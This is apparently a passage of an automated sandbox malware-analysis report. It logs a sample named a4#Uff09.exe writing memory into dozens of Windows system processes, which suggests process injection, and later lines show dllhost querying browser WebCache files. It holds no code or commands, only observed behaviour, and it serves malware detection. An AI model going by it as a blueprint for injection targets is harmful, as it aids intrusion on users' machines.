                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 9D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ctfmon.exe base: B00000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\explorer.exe base: 8390000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: C20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: CF0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 910000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: A10000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 9A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\smartscreen.exe base: C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ApplicationFrameHost.exe base: 60000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 150000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 170000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: C90000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 2E0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\conhost.exe base: B00000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\conhost.exe base: A40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\dllhost.exe base: 230000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 2A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E00000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: A30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: B30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\dwm.exe base: 70000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\sihost.exe base: 410000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 70000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 9E0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ctfmon.exe base: B10000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\explorer.exe base: 83A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: C30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D00000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 920000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: A20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 9B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\smartscreen.exe base: D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ApplicationFrameHost.exe base: 70000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 160000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 180000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: CA0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 2F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\conhost.exe base: B10000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\conhost.exe base: A50000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\dllhost.exe base: 240000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 2B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E10000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: A40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: B40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\dwm.exe base: 80000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\sihost.exe base: 420000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 80000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 9F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ctfmon.exe base: B20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\explorer.exe base: 8850000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: C40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D10000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 930000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: A30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 9C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\smartscreen.exe base: E0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ApplicationFrameHost.exe base: 80000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 170000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 190000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: CB0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 300000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\conhost.exe base: B20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\conhost.exe base: A60000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\dllhost.exe base: 250000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 2C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: A50000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: B50000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\dwm.exe base: 90000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\sihost.exe base: 430000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 90000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: A00000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ctfmon.exe base: B30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\explorer.exe base: 8860000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: C50000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 940000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F50000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: A40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 9D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\smartscreen.exe base: F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ApplicationFrameHost.exe base: 90000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 180000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: CC0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 310000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\conhost.exe base: B30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\conhost.exe base: A70000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\dllhost.exe base: 260000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 2D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: A60000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: B60000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\dwm.exe base: A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\sihost.exe base: 440000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: A10000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ctfmon.exe base: B40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\explorer.exe base: 8880000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: C60000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 950000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F60000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: A50000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 9E0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\smartscreen.exe base: 100000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ApplicationFrameHost.exe base: A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 190000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: CD0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 320000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\conhost.exe base: B40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\conhost.exe base: A80000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\dllhost.exe base: 270000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 2E0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: A70000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: B70000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\dwm.exe base: B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\sihost.exe base: 450000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: A20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ctfmon.exe base: B50000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\explorer.exe base: EF0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: C70000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 960000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F70000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: A60000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 9F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\smartscreen.exe base: 110000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ApplicationFrameHost.exe base: B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 1A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: CE0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 330000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\conhost.exe base: B50000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\conhost.exe base: A90000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\dllhost.exe base: 280000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 2F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E50000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: A80000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: B80000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\dwm.exe base: C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\sihost.exe base: 460000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: A30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ctfmon.exe base: B60000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\explorer.exe base: F10000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: C80000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D50000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 970000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F80000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: A70000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: A00000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\smartscreen.exe base: 120000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ApplicationFrameHost.exe base: C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 1B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: CF0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 340000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\conhost.exe base: B60000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\conhost.exe base: AA0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\dllhost.exe base: 290000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 300000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E60000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: A90000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: B90000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\dwm.exe base: D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\sihost.exe base: 470000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: A40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ctfmon.exe base: B70000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\explorer.exe base: 94E0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: C90000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D60000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 980000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F90000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: A80000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: A10000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\smartscreen.exe base: 130000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ApplicationFrameHost.exe base: D0000Jump to behavior
                Source: dwm.exe, 00000008.00000000.1281704745.00000262EB2B8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Managerd
                Source: dwm.exe, 00000008.00000000.1282016260.00000262EB6C1000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 0000000B.00000000.1321763723.0000020077A50000.00000002.00000001.00040000.00000000.sdmp, svchost.exe, 0000000C.00000000.1331113947.0000018CE7790000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
                Source: dwm.exe, 00000008.00000000.1282016260.00000262EB6C1000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 0000000B.00000000.1321763723.0000020077A50000.00000002.00000001.00040000.00000000.sdmp, svchost.exe, 0000000C.00000000.1331113947.0000018CE7790000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
                Source: dwm.exe, 00000008.00000000.1282016260.00000262EB6C1000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 0000000B.00000000.1321763723.0000020077A50000.00000002.00000001.00040000.00000000.sdmp, svchost.exe, 0000000C.00000000.1331113947.0000018CE7790000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: ?Program Manager
                Source: explorer.exe, 00000010.00000002.3744492980.0000000000C59000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1350688864.0000000000C59000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 1Progman
                Source: dwm.exe, 00000008.00000000.1282016260.00000262EB6C1000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 0000000B.00000000.1321763723.0000020077A50000.00000002.00000001.00040000.00000000.sdmp, svchost.exe, 0000000C.00000000.1331113947.0000018CE7790000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
                Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformationJump to behavior
                Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.log VolumeInformationJump to behavior
                Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformationJump to behavior
                Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.log VolumeInformationJump to behavior
                Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.log VolumeInformationJump to behavior
                Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.log VolumeInformationJump to behavior
                Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformationJump to behavior
                Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat VolumeInformationJump to behavior
                Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.jfm VolumeInformationJump to behavior
                Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat VolumeInformationJump to behavior
                Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat VolumeInformationJump to behavior
                Source: C:\Windows\System32\dllhost.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformationJump to behavior
